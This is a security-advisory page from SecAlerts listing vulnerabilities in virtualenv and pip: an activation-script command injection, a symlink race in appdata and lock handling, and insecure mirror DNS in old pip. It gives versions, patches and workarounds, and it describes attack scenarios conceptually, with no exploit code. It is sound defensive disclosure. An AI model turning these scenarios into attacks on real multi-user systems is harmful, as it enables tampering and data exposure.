Avoid creating or distributing virtual environments whose path contains ', , $, ;, ( or ), and inspect the generated activation script before sourcing one you did not create.

1 / 3
Source: GitHub
First published (updated )
Severity
8.4
Command Injection, OS Command Injection
AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Last updated 25 February 2025

1 / 2
Source: Ubuntu
First published (updated )
Severity
4.5
EPSS
0.02%
Race Condition
AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L

Impact

TOCTOU (Time-of-Check-Time-of-Use) vulnerabilities in virtualenv allow local attackers to perform symlink-based attacks on directory creation operations. An attacker with local access can exploit a race condition between directory existence checks and creation to redirect virtualenv's appdata and lock file operations to attacker-controlled locations.

Affected versions: All versions up to and including 20.36.1

Affected users: Any user running virtualenv on multi-user systems where untrusted local users have filesystem access to shared temporary directories or where VIRTUALENVOVERRIDEAPPDATA points to a user-writable location.

Attack scenarios: - Cache poisoning: Attacker corrupts wheels or Python metadata in the cache - Information disclosure: Attacker reads sensitive cached data or metadata - Lock bypass: Attacker controls lock file semantics to cause concurrent access violations - Denial of service: Lock starvation preventing virtualenv operations

Patches

The vulnerability has been patched by replacing check-then-act patterns with atomic os.makedirs(..., existok=True) operations.

Fixed in: PR #3013

Versions with the fix: 20.36.2 and later

Users should upgrade to version 20.36.2 or later.

Workarounds

If you cannot upgrade immediately:

1. Ensure VIRTUALENVOVERRIDEAPPDATA points to a directory owned by the current user with restricted permissions (mode 0700) 2. Avoid running virtualenv in shared temporary directories where other users have write access 3. Use separate user accounts for different projects to isolate appdata directories

References

- GitHub PR: https://github.com/pypa/virtualenv/pull/3013 - Vulnerability reported by: @tsigouris007 - CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization (TOCTOU) - CWE-59: Improper Link Resolution Before File Access

1 / 3
Source: GitHub
First published (updated )
Severity
7
Command Injection

virtualenv before 20.26.6 allows command injection through the activation scripts for a virtual environment. Magic template strings are not quoted correctly when replacing. NOTE: this is not the same as CVE-2024-9287.

First published (updated )
Severity
5.9
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N

The mirroring support (-M, --use-mirrors) in Python Pip before 1.5 uses insecure DNS querying and authenticity checks which allows attackers to perform man-in-the-middle attacks.

First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203